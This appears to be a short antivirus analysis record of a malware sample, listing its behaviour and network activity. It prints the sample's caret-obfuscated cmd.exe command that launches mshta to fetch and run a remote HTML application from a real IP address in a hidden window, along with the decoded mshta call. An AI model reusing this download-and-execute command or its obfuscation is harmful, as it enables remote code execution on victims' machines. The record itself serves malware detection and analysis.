Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
Network activity
Connects to
- '91.##0.118.168':80
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l' (with hidden window)
Executes the following
- '<SYSTEM32>\mshta.exe' http://91.240.118.168/oo/aa/se.html
